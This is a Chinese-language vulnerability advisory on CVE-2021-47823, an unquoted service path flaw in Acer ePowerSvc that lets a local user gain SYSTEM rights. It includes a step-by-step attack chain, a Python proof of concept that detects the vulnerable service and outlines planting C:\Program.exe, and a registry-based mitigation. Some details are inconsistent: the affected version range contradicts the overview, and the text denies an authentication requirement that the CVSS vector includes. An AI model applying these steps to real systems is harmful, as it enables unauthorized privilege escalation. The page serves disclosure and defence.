IPBUF安全漏洞报告
English
CVE-2021-47823 CVSS 7.8 高危

CVE-2021-47823: Acer ePowerSvc未引号服务路径权限提升漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47823
漏洞类型
未引号服务路径漏洞
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Acer ePowerSvc 6.0.3008.0

相关标签

未引号服务路径本地权限提升Windows服务漏洞AcerePowerSvc高危漏洞CVE-2021-47823SYSTEM权限

漏洞概述

CVE-2021-47823是影响Acer笔记本电脑上预装的Acer ePowerSvc服务软件的一个高危安全漏洞。该漏洞存在于Acer ePowerSvc 6.0.3008.0版本中,由于服务路径配置未使用引号包裹,导致存在未引号服务路径(Unquoted Service Path)问题。攻击者可以利用这一漏洞在本地实现权限提升,从低权限用户提升到系统最高权限(LocalSystem权限)。当服务启动时,如果路径中包含空格且未正确引用,Windows会从左到右依次尝试执行每个空格分隔的路径部分,直到找到实际的可执行文件。攻击者只需将恶意可执行文件放置在某个中间路径中,即可实现以系统权限执行任意代码。该漏洞的CVSS评分为7.8,属于高危级别,需要本地访问但不需要认证和用户交互,攻击成功后可完全控制受影响系统。

技术细节

未引号服务路径漏洞是一种常见的Windows本地权限提升漏洞。当Windows服务配置中的可执行文件路径包含空格且未使用引号包裹时,服务启动程序会从路径的第一个空格处分割字符串,然后依次尝试执行每个分割后的路径部分。例如,如果服务路径为C:\Program Files\Acer\ePowerSvc\ePowerSvc.exe且未加引号,Windows会依次尝试执行:C:\Program.exe、C:\Program Files\Acer.exe、C:\Program Files\Acer\ePowerSvc.exe等。攻击者可以将恶意可执行文件命名为Program.exe并放置在C:\根目录,当服务重启时就会以LocalSystem权限执行该恶意程序。在本漏洞中,Acer ePowerSvc服务以SYSTEM权限运行,攻击者通过创建恶意的可执行文件并利用未引号路径特性,可以实现权限提升。攻击成功的关键是能够将恶意文件写入到服务路径的某个中间目录中,通常需要普通用户对这些目录具有写入权限。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标系统上是否存在Acer ePowerSvc服务,并通过sc query或wmic命令查询服务的可执行文件路径配置
STEP 2
步骤2:漏洞验证
检查服务路径是否包含空格且未使用引号包裹。如果路径类似C:\Program Files\Acer\ePowerSvc\ePowerSvc.exe且无引号,则存在漏洞
STEP 3
步骤3:路径分析
分析Windows服务启动器会尝试执行的中间路径,确定哪个路径可以被攻击者写入。Windows会依次尝试C:\Program.exe、C:\Program Files\Acer.exe等
STEP 4
步骤4:恶意程序部署
将编译好的恶意可执行文件(如Program.exe)放置到分析确定的中间路径(如C:\根目录),确保服务启动时会先找到该恶意程序
STEP 5
步骤5:触发执行
等待服务重启、系统重启或通过社会工程学手段诱导管理员重启服务。服务启动时,Windows会执行攻击者放置的恶意程序
STEP 6
步骤6:权限提升
恶意程序以LocalSystem(系统最高权限)身份执行,攻击者获得完全控制系统权限,可用于安装后门、窃取数据或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-47823 PoC - Unquoted Service Path Exploitation # Target: Acer ePowerSvc Service # This PoC demonstrates how to exploit the unquoted service path vulnerability import os import subprocess import time def check_vulnerable_service(): """Check if the target service exists and is vulnerable""" # Check the service configuration using sc command try: result = subprocess.run( ['sc', 'qc', 'ePowerSvc'], capture_output=True, text=True, timeout=10 ) if 'BINARY_PATH_NAME' in result.stdout: print("[+] ePowerSvc service found") # Extract the path to check if unquoted for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"[+] Service path: {path}") if '"' not in path and ' ' in path: print("[+] Service path is UNQUOTED and contains spaces - VULNERABLE!") return True return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a malicious executable to be placed at intermediate path""" # In real attack, this would be a reverse shell or other malicious code malicious_code = ''' #include <windows.h> #include <stdio.h> int main() { // This would contain actual malicious code // For demonstration, create a simple message box MessageBox(NULL, "Acer ePowerSvc Exploited!\nCheck C:\\ for Program.exe", "CVE-2021-47823", MB_OK | MB_ICONWARNING); // In real attack, would spawn a reverse shell with SYSTEM privileges // system("cmd.exe /c ..."); return 0; } ''' print("[+] Malicious executable template created") print("[+] In real attack: compile and place as C:\\Program.exe") return True def exploit(): """Main exploitation function""" print("=" * 60) print("CVE-2021-47823 - Acer ePowerSvc Unquoted Service Path") print("=" * 60) if not check_vulnerable_service(): print("[-] Target service not found or not vulnerable") return False print("\n[*] Exploitation steps:") print("1. Create malicious executable: C:\\Program.exe") print("2. Wait for service restart or system reboot") print("3. Malicious code executes with SYSTEM privileges") create_malicious_executable() print("\n[!] Note: Requires write access to service path directories") print("[!] Actual exploitation should be performed in controlled environment") return True if __name__ == "__main__": exploit()

影响范围

Acer ePowerSvc < 6.0.3008.0

防御指南

临时缓解措施
如果无法立即安装官方补丁,可以通过修改注册表将服务路径用引号包裹来临时缓解:运行regedit,找到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ePowerSvc,将ImagePath修改为"C:\Program Files\Acer\ePowerSvc\ePowerSvc.exe"(添加外侧引号)。同时确保普通用户对C:\根目录和Program Files目录没有写入权限,以防止攻击者部署恶意程序。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表